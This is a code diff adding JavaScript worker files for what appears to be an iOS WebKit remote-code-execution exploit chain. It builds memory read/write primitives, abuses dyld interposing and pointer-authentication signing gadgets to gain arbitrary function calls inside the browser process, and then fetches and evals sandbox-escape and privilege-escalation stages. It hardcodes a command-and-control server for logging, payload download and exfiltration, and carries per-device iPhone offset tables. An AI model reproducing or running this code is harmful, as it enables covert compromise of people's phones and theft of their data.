p.write64(p.runtimeStateLock + 0x20n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.HOMEUI_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x3bn); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + print(`going to load AVSpeechSynthesisVoice`); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice); + print(`succeeded to load`); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + p.write64(runtimeStateLock + 0x20n, 0n); + p.write64(p.TextToSpeech_NSBundle + 8n, 0x40008n); + p.write8(p.TextToSpeech_CFBundle + 0x34n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.PerfPowerServicesReader_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5bn); + self.postMessage({ + 'type': 'trigger_dlopen2' + }); + break; + } + case 'check_dlopen2': + { + const { + offsets + } = p; + print('check_dlopen2'); + const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000022222222n); + print(`worker.thread: ${worker.thread.hex()}`); + const stack_bottom = p.read64(worker.thread + 0x10n); + worker.stack_bottom = stack_bottom; + print(`stack_bottom: ${stack_bottom.hex()}`); + const stack_top = p.read64(worker.thread + 0x18n); + worker.stack_top = stack_top; + print(`stack_top: ${stack_top.hex()}`); + u64[0] = p.dlopen_from_lambda_ret; + const needle = [u8[0], u8[1], u8[2], u8[3]]; + const search_result = p.efficient_search(stack_top, stack_bottom, needle); + print(`search_result:${search_result.hex()}`); + const loader = search_result + 0x78n; + print(`loader:${loader.hex()}`); + const metadata = new BigUint64Array(4); + const metadata_data_ptr = metadata.data(); + print(`metadata_data_ptr:${metadata_data_ptr.hex()}`); + p.metadata1 = metadata; + metadata[0] = p.prev_metadata_data_ptr; + metadata[1] = metadata_data_ptr + 0x10n - 0x100n | 1n; + p.write64(loader, p.p_InterposeTupleAll_size - 0x10n); + p.write64(loader + 8n, metadata_data_ptr + 0x10n); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + p.write64(p.runtimeStateLock + 0x20n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libGPUCompilerImplLazy_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5en); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance); + let interpose_index = 0; + function interpose(ptr, val) { + p.interposingTuples[interpose_index++] = val; + p.interposingTuples[interpose_index++] = ptr; + } + interpose(offsets.MediaAccessibility__MACaptionAppearanceGetDisplayType, offsets.ImageIO__IIOLoadCMPhotoSymbols); + interpose(offsets.CMPhoto__kCMPhotoTranscodeOption_Strips, 0n); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateContainerFromImageExt, offsets.libGPUCompilerImplLazy__invoker); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateDataContainerFromImage, offsets.Security__SecKeychainBackupSyncable_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage, offsets.Security__SecOTRSessionProcessPacketRemote_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation, offsets.libdyld__dlopen); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddCustomMetadata, offsets.libdyld__dlsym); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer); + { + const deadline = Date.now() + 8000; + let size = p.read64(p.p_InterposeTupleAll_size); + while (size != 0x100n && Date.now() < deadline) { + await new Promise(r => setTimeout(r, 20)); + size = p.read64(p.p_InterposeTupleAll_size); + } + if (size != 0x100n) { + print('InterposeTupleAll wait timeout size=' + size.hex(), true); + self.postMessage({ type: 'stage1_failed', reason: 'interpose_size_timeout' }); + break; + } + } + print('InterposeTupleAll.size has been written'); + const initMediaAccessibilityMACaptionAppearanceGetDisplayType = p.read64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType); + print(`initMediaAccessibilityMACaptionAppearanceGetDisplayType: ${initMediaAccessibilityMACaptionAppearanceGetDisplayType.hex()}`); + const paciza_PAL_initPKContact = p.read64(offsets.WebCore__PAL_getPKContactClass); + print(`paciza_PAL_initPKContact: ${paciza_PAL_initPKContact.hex()}`); + p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, initMediaAccessibilityMACaptionAppearanceGetDisplayType); + p.write64(offsets.ImageIO__gImageIOLogProc, paciza_PAL_initPKContact); + p.write64(offsets.WebCore__initPKContact_once, 0xffffffffffffffffn); + p.write64(offsets.WebCore__initPKContact_value, 0n); + self.postMessage({ + type: 'sign_pointers' + }); + break; + } + case 'setup_fcall': + { + const { + offsets + } = p; + const paciza_invoker = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt); + print(`paciza_invoker: ${paciza_invoker.hex()}`); + const paciza_security_invoker_1 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage); + print(`paciza_security_invoker_1: ${paciza_security_invoker_1.hex()}`); + const paciza_security_invoker_2 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage); + print(`paciza_security_invoker_2: ${paciza_security_invoker_2.hex()}`); + const paciza_dlopen = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation); + print(`paciza_dlopen: ${paciza_dlopen.hex()}`); + const paciza_dlsym = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata); + print(`paciza_dlsym: ${paciza_dlsym.hex()}`); + const paciza_signPointer = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddExif); + print(`paciza_signPointer: ${paciza_signPointer.hex()}`); + const gSecurityd = new BigUint64Array(0x100 / 8); + const gSecurityd_data_ptr = gSecurityd.data(); + p.write64(offsets.Security__gSecurityd, gSecurityd_data_ptr); + const slowFcallResult = new BigUint64Array(0x10 / 8); + const slowFcallResult_data_ptr = slowFcallResult.data(); + slowFcallResult[8 / 8] = slowFcallResult_data_ptr - 0x18n; + p.slowFcallResult = slowFcallResult; + const invoker_x0 = new BigUint64Array(0x58); + const invoker_x0_data_ptr = invoker_x0.data(); + const invoker_arg = new BigUint64Array(0x10); + const invoker_arg_data_ptr = invoker_arg.data(); + invoker_x0[0x20 / 8] = slowFcallResult_data_ptr; + invoker_arg[0 / 8] = paciza_security_invoker_1; + invoker_arg[8 / 8] = invoker_x0_data_ptr; + p.write64(offsets.WebCore__TelephoneNumberDetector_phoneNumbersScanner_value, invoker_arg_data_ptr); + p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, paciza_invoker); + function slow_fcall_1(pc, x0 = 0n, x1 = 0n, x2 = 0n) { + invoker_arg[0 / 8] = paciza_security_invoker_1; + gSecurityd[0x78 / 8] = pc; + invoker_x0[0x28 / 8] = x0; + invoker_x0[0x30 / 8] = x1; + invoker_x0[0x38 / 8] = x2; + return new Promise(r => { + slow_fcall_resolve = r; + self.postMessage({ + type: 'slow_fcall' + }); + }); + } + function slow_fcall_2(pc, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n) { + invoker_arg[0 / 8] = paciza_security_invoker_2; + gSecurityd[0xb8 / 8] = pc; + invoker_x0[0x28 / 8] = x0; + invoker_x0[0x30 / 8] = x1; + invoker_x0[0x38 / 8] = x2; + invoker_x0[0x40 / 8] = x3; + invoker_x0[0x48 / 8] = x4; + invoker_x0[0x50 / 8] = x5; + return new Promise(r => { + slow_fcall_resolve = r; + self.postMessage({ + type: 'slow_fcall' + }); + }); + } + const rope_resolver = []; + function resolve_rope(str) { + delete rope_resolver[str]; + } + function slow_dlopen(filename, flags) { + filename = filename + '\0'; + resolve_rope(filename); + const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n); + return slow_fcall_1(paciza_dlopen, name_ptr, flags); + } + function slow_dlsym(handle, symbol) { + symbol = symbol + '\0'; + resolve_rope(symbol); + const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n); + return slow_fcall_1(paciza_dlsym, handle, symbol_ptr); + } + const signPointer_self = new BigUint64Array(4); + const signPointer_self_addr = p.read64(p.addrof(signPointer_self) + 0x10n); + function slow_pacia(ptr, ctx) { + signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; + return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr); + } + function slow_pacib(ptr, ctx) { + signPointer_self[0] = 0x80030000_00000000n | ctx >> 48n << 32n; + return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr); + } + const libsystem_pthread = await slow_dlopen('/usr/lib/system/libsystem_pthread.dylib', 1n); + print(`libsystem_pthread: ${libsystem_pthread.hex()}`); + const libsystem_malloc = await slow_dlopen("/usr/lib/system/libsystem_malloc.dylib", 0n); + print(`libsystem_malloc: ${libsystem_malloc.hex()}`); + const signed_pthread_create = await slow_dlsym(libsystem_pthread, 'pthread_create'); + offsets.pthread_create = signed_pthread_create.noPAC(); + print(`signed_pthread_create: ${signed_pthread_create.hex()}`); + const paciza_malloc = await slow_dlsym(libsystem_malloc, 'malloc'); + offsets.malloc = paciza_malloc.noPAC(); + print(`paciza_malloc: ${paciza_malloc.hex()}`); + const gadget_control_1 = offsets.gadget_control_1_ios184; + print(`gadget_control_1:${gadget_control_1.hex()}`); + const gadget_control_2 = offsets.gadget_control_2_ios184; + print(`gadget_control_2:${gadget_control_2.hex()}`); + const gadget_control_3 = offsets.gadget_control_3_ios184; + print(`gadget_control_3: ${gadget_control_3.hex()}`); + const gadget_loop_1 = offsets.gadget_loop_1_ios184; + print(`gadget_loop_1: ${gadget_loop_1.hex()}`); + const gadget_loop_2 = offsets.gadget_loop_2_ios184; + print(`gadget_loop_2: ${gadget_loop_2.hex()}`); + const gadget_loop_3 = offsets.gadget_loop_3_ios184; + print(`gadget_loop_3: ${gadget_loop_3.hex()}`); + const gadget_set_all_registers = offsets.gadget_set_all_registers_ios184; + print(`gadget_set_all_registers: ${gadget_set_all_registers.hex()}`); + const paciza_gadget_loop_1 = await slow_pacia(gadget_loop_1, 0n); + print(`paciza_gadget_loop_1: ${paciza_gadget_loop_1.hex()}`); + const paciza_gadget_loop_2 = await slow_pacia(gadget_loop_2, 0n); + print(`paciza_gadget_loop_2: ${paciza_gadget_loop_2.hex()}`); + const paciza_gadget_loop_3 = await slow_pacia(gadget_loop_3, 0n); + print(`paciza_gadget_loop_3: ${paciza_gadget_loop_3.hex()}`); + const paciza_gadget_control_2 = await slow_pacia(gadget_control_2, 0n); + print(`paciza_gadget_control_2: ${paciza_gadget_control_2.hex()}`); + const paciza_gadget_control_3 = await slow_pacia(gadget_control_3, 0n); + print(`paciza_gadget_control_3: ${paciza_gadget_control_3.hex()}`); + const paciza_gadget_control_3_4 = await slow_pacia(gadget_control_3 + 4n, 0n); + print(`paciza_gadget_control_3_4: ${paciza_gadget_control_3_4.hex()}`); + const paciza_gadget_set_all_registers = await slow_pacia(gadget_set_all_registers, 0n); + print(`paciza_gadget_set_all_registers: ${paciza_gadget_set_all_registers.hex()}`); + const jop_thread = new BigUint64Array(0x20 / 8); + const jop_thread_data_ptr = jop_thread.data(); + const x0_u64 = new BigUint64Array(0x20 / 8); + const x0 = x0_u64.data(); + x0_u64[8 / 8] = paciza_gadget_loop_3; + await slow_fcall_2(signed_pthread_create, jop_thread_data_ptr, 0n, paciza_gadget_loop_3, x0); + print('WebContent fcall thread has been spawned!!'); + const pthread_node = jop_thread[0]; + print(`pthread_node:${pthread_node.hex()}`); + const jop_stack_top = p.read64(pthread_node + 0xb8n); + print(`jop_stack_top:${jop_stack_top.hex()}`); + const jop_stack_bottom = jop_stack_top + 0x88000n; + print(`jop_stack_bottom:${jop_stack_bottom.hex()}`); + const x19_u64 = new BigUint64Array(0x500 / 8); + const x19_f64 = new Float64Array(x19_u64.buffer); + const x19 = x19_u64.data(); + print(`x19: ${x19.hex()}`); + const x22_u64 = new BigUint64Array(0x20 / 8); + const x22 = x22_u64.data(); + print(`x22: ${x22.hex()}`); + const x20_u64 = new BigUint64Array(0x30 / 8); + const x20 = x20_u64.data(); + print(`x20: ${x20.hex()}`); + const stack_u64 = new BigUint64Array(0x88000 / 8); + const stack = stack_u64.data(); + print(`stack: ${stack.hex()}`); + const paciza_gadget_control_1 = await slow_pacia(gadget_control_1, 0n); + print(`paciza_gadget_control_1: ${paciza_gadget_control_1.hex()}`); + const pacib_gadget_loop_1_0x80020 = await slow_pacib(gadget_loop_1, stack + 0x80020n); + print(`pacib_gadget_loop_1_0x80020: ${pacib_gadget_loop_1_0x80020.hex()}`); + const pacib_gadget_loop_1_0x800c0 = await slow_pacib(gadget_loop_1, stack + 0x800c0n); + print(`pacib_gadget_loop_1_0x800c0: ${pacib_gadget_loop_1_0x800c0.hex()}`); + const pacib_gadget_loop_2_0x80010 = await slow_pacib(gadget_loop_2, stack + 0x80010n); + print(`pacib_gadget_loop_2_0x80010: ${pacib_gadget_loop_2_0x80010.hex()}`); + const pacib_gadget_loop_2_0x800b0 = await slow_pacib(gadget_loop_2, stack + 0x800b0n); + print(`pacib_gadget_loop_2_0x800b0: ${pacib_gadget_loop_2_0x800b0.hex()}`); + const MAGIC = 123.456; + p.write64(jop_stack_bottom - 0x4fa0n, stack + 0x80000n); + p.write64(jop_stack_bottom - 0x4f98n, await slow_pacib(gadget_loop_1, jop_stack_top + 0x83070n)); + p.write64(jop_stack_bottom - 0x4fb0n, x20); + p.write64(jop_stack_bottom - 0x4fa8n, x19); + p.write64(jop_stack_bottom - 0x4fc0n, x22); + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x0_u64[8 / 8] = paciza_gadget_control_1; + while (x19_f64[0x20 / 8] === MAGIC); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] == MAGIC); + x20_u64[0x20 / 8] = paciza_malloc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + stack_u64[0x800b0 / 8] = stack + 0x80000n; + stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + const cache = new Map(); + const signPointer = paciza_signPointer.noPAC(); + cache.set(signPointer, paciza_signPointer); + function pacia(ptr, ctx) { + signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; + return fcall(signPointer, signPointer_self_addr, ctx, ptr); + } + function fcall(pc, ...args) { + if (!cache.has(pc)) { + cache.set(pc, pacia(pc, 0n)); + } + const signed_pc = cache.get(pc); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] === MAGIC); + x20_u64[0x20 / 8] = signed_pc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + for (let i = 0; i < args.length && i < 8; ++i) { + stack_u64[0x80098 / 8 - i] = args[i]; + } + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + return x19_u64[0x20 / 8]; + } + const unsigned_dlopen = paciza_dlopen.noPAC(); + const unsigned_dlsym = paciza_dlsym.noPAC(); + function dlopen(filename, flags) { + filename = filename + '\0'; + resolve_rope(filename); + const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n); + return fcall(unsigned_dlopen, name_ptr, flags); + } + p.dlopen = dlopen; + function dlsym(handle, symbol) { + symbol = symbol + '\0'; + resolve_rope(symbol); + const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n); + return fcall(unsigned_dlsym, handle, symbol_ptr); + } + p.dlsym = dlsym; + const libsystem_c = dlopen('/usr/lib/system/libsystem_c.dylib', 1n); + const fopen = dlsym(libsystem_c, 'fopen').noPAC(); + const fopen_mode_str = 'w'; + const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n); + function log(msg) { + const s = msg.toString(); + if (true) { + const elapsed = parseInt(Date.now() - rce_begin); + const path = ("/(" + elapsed + ") ").padEnd(15) + s.replaceAll('/', '|') + '\0'; + resolve_rope(path); + const path_ptr = p.read64(p.read64(p.addrof(path) + 8n) + 8n); + fcall(fopen, path_ptr, fopen_mode_ptr); + } + try { + if (/after get js|sbx0|sbx1|pe_main|SBX0 complete|pe spawned|ALL DONE|exfil|profiler|mpd|eval error|prefetch|handoff|golden|nowait/i.test(s)) { + print(s); + } + } catch (e) {} + } + offsets.libsystem_kernel__thread_terminate = p.slide + 0x1D3D6F244n; + function suspend_worker(worker) { + const port = p.read32(worker.thread + 0x34n); + return fcall(offsets.libsystem_kernel__thread_suspend, port); + } + for (const worker of p.dlopen_workers) { + suspend_worker(worker); + } + function fcall_close() { + x19_u64[0 / 8] = pacia(offsets.pthread_exit, 0n); + } + const rce_end = Date.now(); + log(`-`.repeat(0x28)); + try { + const sbx0_script = getJS('/sbx0_main_18.4.js?cb=' + Date.now()); + log("after get js"); + eval(sbx0_script); + } catch (e) { + log("sbx0 eval error: " + e); + print("sbx0 eval error: " + e, true); + } + // Align with 18.6: PE already spawned (skip _exit); no 120s worker hold. + print("sbx0 eval returned, redirect soon (no 120s pe exfil wait)"); + fcall_close(); + print(`all done`); + self.postMessage({ + type: 'redirect' + }); + return; + } + case 'slow_fcall_done': + { + slow_fcall_resolve(p.slowFcallResult[0]); + break; + } + case 'stage1': + { + // Page check_attempt handoff (offsets already resolved). This 18.5/18.6 + // worker cannot consume them — calling main() re-runs _aarw and fails + // with "failed exp" on 18.4 JSC. Refuse loudly so loader can fail over. + print('stage1 handoff rejected on rce_worker_18.5 — need rce_worker_18.4.js', true); + try { + self.postMessage({ type: 'stage1_failed', reason: 'wrong_worker_for_stage1_handoff' }); + } catch (_) {} + break; + } + case 'stage1_rce': + { + applyExfilFromData(data); + host = data.desiredHost; + SERVER_LOG = data.SERVER_LOG; + if (data._enc_pass) { + try { __LAB_ENC_PASS__ = String(data._enc_pass); } catch (eP) {} + } + print("inside stage1_rce from worker exfil=" + (__exfilHost || '?')); + main(); + break; + } + } + }; +} +)(); diff --git a/channel-builder-ds/source/rce_worker_18.6.js b/channel-builder-ds/source/rce_worker_18.6.js new file mode 100644 index 0000000..4bac312 --- /dev/null +++ b/channel-builder-ds/source/rce_worker_18.6.js @@ -0,0 +1,14480 @@ +var SERVER_LOG; +var __labC2Host = 'https://mh0usocqzi6f46i.com:443'; +let offsets; +let MessageName; + +const no_cow = 1.1; +const unboxed_arr = [no_cow]; +const boxed_arr = [{}]; + +self[0] = unboxed_arr; +self[1] = boxed_arr; +(() => { +function sleep(ms) { + const begin = Date.now(); + while (Date.now() - begin < ms); +} +let logStart = new Date().getTime(); +let logEntryID = 0; +function print(x, reportError = false, dumphex = false) { + let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; + // Errors only to /api/ds/log — progress stays in fopen side-channel / console. + const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x)); + if (!isErr) return; + if (!SERVER_LOG && !reportError) return; + let obj = { + id: logEntryID++, + text: out, + } + if (dumphex) { + obj.hex = 1 + obj.text = x + } + let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') + const xhr = new XMLHttpRequest(); + var logBase = ''; + try { + if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, ''); + } catch (eLb) {} + if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443'; + xhr.open("GET", logBase + "/api/ds/log?" + req , false); + xhr.send(null); +} + // 去掉加解密:明文直通,不再解密任何 blob。 + var _enc_pass = ''; + var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null; + + function _labDecryptWire(text) { + return text; + } + + var __labDeviceUUID = ''; + function __labCanonUuid(v) { + var s = String(v || '').replace(/-/g, '').toUpperCase(); + return /^[0-9A-F]{16,64}$/.test(s) ? s : ''; + } + function __labPrependDeviceUuid(fname, text) { + if (!text) return text; + var du = __labCanonUuid(__labDeviceUUID); + if (!du || du === '69DD25B2CA8B5682BA2470D77124E2FC') return text; + var f = String(fname || '').toLowerCase(); + if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0 && f.indexOf('sbx1') < 0) return text; + return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__LAB_DEVICE_UUID__="' + du + '";}catch(_peU){}\n' + text; + } + + function getJS(fname,method = 'POST') + { + var clean = fname.split('?')[0].replace(/^\//, ''); + if (false && _enc_S && _enc_hashes && _enc_hashes[clean]) { // 去掉加解密:L1 会话加密路径禁用 + try { + var xhr = new XMLHttpRequest(); + xhr.open("GET", host + "/res/" + _enc_S + "/" + _enc_hashes[clean], false); + xhr.overrideMimeType('text/plain; charset=x-user-defined'); + xhr.send(null); + if (xhr.status !== 200) return null; + var raw = xhr.responseText; + var ct = new Uint8Array(raw.length); + for (var _i = 0; _i < raw.length; _i++) ct[_i] = raw.charCodeAt(_i) & 0xff; + var pt = aesCtrDecrypt(ct, _enc_K); + var text = ''; + var chunk = 8192; + for (var i = 0; i < pt.length; i += chunk) { + text += String.fromCharCode.apply(null, pt.subarray(i, Math.min(i + chunk, pt.length))); + } + if (_enc_checksums && _enc_checksums[clean]) { + var h = sha256Str(text); + if (h !== _enc_checksums[clean]) return null; + } + return text; + } catch(e) { + print("L1 decrypt error: " + e); + } + } + // Password-encrypted staging (AES-CTR JSON blob). + // pe_worker/pe_main must hit /pe_*.js so the server can bake delivery UUID + // then encrypt — static .enc would skip the bake. + var skipStaticEnc = true; // 去掉加解密:永远走明文,不拉 .enc + if (!skipStaticEnc) { + try { + var encUrl = host + "/encrypted_staging/" + clean + ".enc"; + print("trying encrypted fetch from:" + encUrl); + var xhrEnc = new XMLHttpRequest(); + xhrEnc.open("GET", encUrl, false); + xhrEnc.send(null); + if (xhrEnc.status >= 200 && xhrEnc.status < 300 && xhrEnc.responseText) { + var dec = _labDecryptWire(xhrEnc.responseText); + if (dec && dec.length > 0 && dec.indexOf('{"v":1') !== 0) { + print("encrypted getJS ok: " + clean + " (" + dec.length + " bytes)"); + return dec; + } + } + } catch (eEnc) { + print("encrypted getJS error: " + eEnc); + } + } + try + { + let url = ""; + var assetBase = String(host || '').replace(/\/$/, ''); + var assetPath = String(fname || ''); + if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath; + url = assetBase + assetPath + (assetPath.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now(); + print("trying to fetch from:" + url); + let xhr = new XMLHttpRequest(); + xhr.open("GET", `${url}` , false); + xhr.send(null); + return __labPrependDeviceUuid(fname, _labDecryptWire(xhr.responseText)); + } + catch(e) + { + print("got error from getJS: " + e); + } + } +var p_rce = {_root: []}; +var p = {}; +var device_model; +var offsets = {}; + +function __labResolveOffsetKey(table, device_model) { + try { + if (table && device_model && table[device_model]) return device_model; + var dm = String(device_model || ""); + if (!table || !dm) return device_model; + if (table[dm]) return dm; + var keys = Object.keys(table); + // Exact build suffix match with sibling prefix (13,3 -> 13,2_3, etc.) + var build = ""; + var mBuild = dm.match(/_(22[A-Z0-9]+)$/); + if (mBuild) build = mBuild[1]; + var machine = dm.split("_")[0]; + var aliases = []; + if (machine === "iPhone13,3") aliases.push("iPhone13,2_3_" + build); + if (machine === "iPhone12,5") aliases.push("iPhone12,3_5_" + build); + if (machine === "iPhone11,4" || machine === "iPhone11,6") aliases.push("iPhone11,2_4_6_" + build); + if (machine === "iPhone13,2") aliases.push("iPhone13,2_3_" + build); + if (machine === "iPhone12,3") aliases.push("iPhone12,3_5_" + build); + if (machine === "iPhone11,2") aliases.push("iPhone11,2_4_6_" + build); + for (var ai = 0; ai < aliases.length; ai++) { + if (aliases[ai] && table[aliases[ai]]) return aliases[ai]; + } + // Same machine prefix + same build ONLY (never cross-build e.g. 22F76->22G86) + if (build) { + for (var i = 0; i < keys.length; i++) { + var k = keys[i]; + if (k.indexOf(machine) === 0 && k.lastIndexOf("_" + build) === k.length - build.length - 1) return k; + } + // Same build, same major generation (iPhone13,*) + var gen = machine.split(",")[0]; + for (var j = 0; j < keys.length; j++) { + var k2 = keys[j]; + if (k2.indexOf(gen + ",") === 0 && k2.lastIndexOf("_" + build) === k2.length - build.length - 1) return k2; + } + try { if (typeof print === "function") print("offset_key: no same-build match for " + dm); } catch (e0) {} + return device_model; // refuse wrong-build offsets + } + // No build suffix: prefix startsWith only as last resort + for (var n = 0; n < keys.length; n++) { + if (keys[n].indexOf(machine) === 0) return keys[n]; + } + } catch (e) {} + return device_model; +} + +var slide; +var chipset; +let signal_ptr; +var read64_biguint64arr = new BigUint64Array(4); +var read64_str = '\u4444'.repeat(0x10); +[][read64_str]; +let log_url_prefix; +const canvas = new OffscreenCanvas(1, 1); +const ab = new ArrayBuffer(8); +const u64 = new BigUint64Array(ab); +const u32 = new Uint32Array(ab); +const u8 = new Uint8Array(ab); +const f64 = new Float64Array(ab); + +BigInt.fromDouble = function(v) { f64[0] = v; return u64[0]; }; +BigInt.fromBytes = function(bytes) { for (let i = 0; i < 8; ++i) { u8[i] = bytes[i]; } return u64[0]; }; +BigInt.prototype.hex = function() { let s = '0x' + this.toString(16); return s; }; +BigInt.prototype.asDouble = function() { u64[0] = this; return f64[0]; }; +BigInt.prototype.add = function(other) { return this + other; }; +BigInt.prototype.sub = function(other) { return this - other; } +BigInt.prototype.noPAC = function() { return this & 0x7fffffffffn; } +BigInt.prototype.asInt32s = function() { + u64[0] = this; + let lo = u32[0]; + let hi = u32[1]; + if (hi >= 0x80000000) { + hi = (hi - 0x100000000) & 0xffffffff; + } + if (lo >= 0x80000000) { + lo = (lo - 0x100000000) & 0xffffffff; + } + return [lo, hi]; +}; +[].shift(); +//!INCLUDE(rce/offsets/{ver}.js) + +rce_offsets = { + "iPhone11,2_4_6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + 